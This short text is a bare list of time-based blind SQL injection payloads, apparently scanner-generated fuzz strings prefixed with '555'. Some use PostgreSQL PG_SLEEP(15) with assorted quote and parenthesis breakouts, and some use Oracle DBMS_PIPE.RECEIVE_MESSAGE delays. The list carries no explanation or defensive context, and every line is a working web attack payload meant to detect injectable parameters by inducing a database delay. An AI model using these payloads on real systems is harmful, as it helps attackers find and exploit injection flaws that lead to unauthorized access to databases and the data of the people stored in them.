555-1 OR 992=(SELECT 992 FROM PG_SLEEP(15))--

555-1) OR 250=(SELECT 250 FROM PG_SLEEP(15))--

555-1)) OR 813=(SELECT 813 FROM PG_SLEEP(15))--

555yWM87sUi' OR 641=(SELECT 641 FROM PG_SLEEP(15))--

555OTynNjyG') OR 573=(SELECT 573 FROM PG_SLEEP(15))--

555qe5tXKdf')) OR 122=(SELECT 122 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

555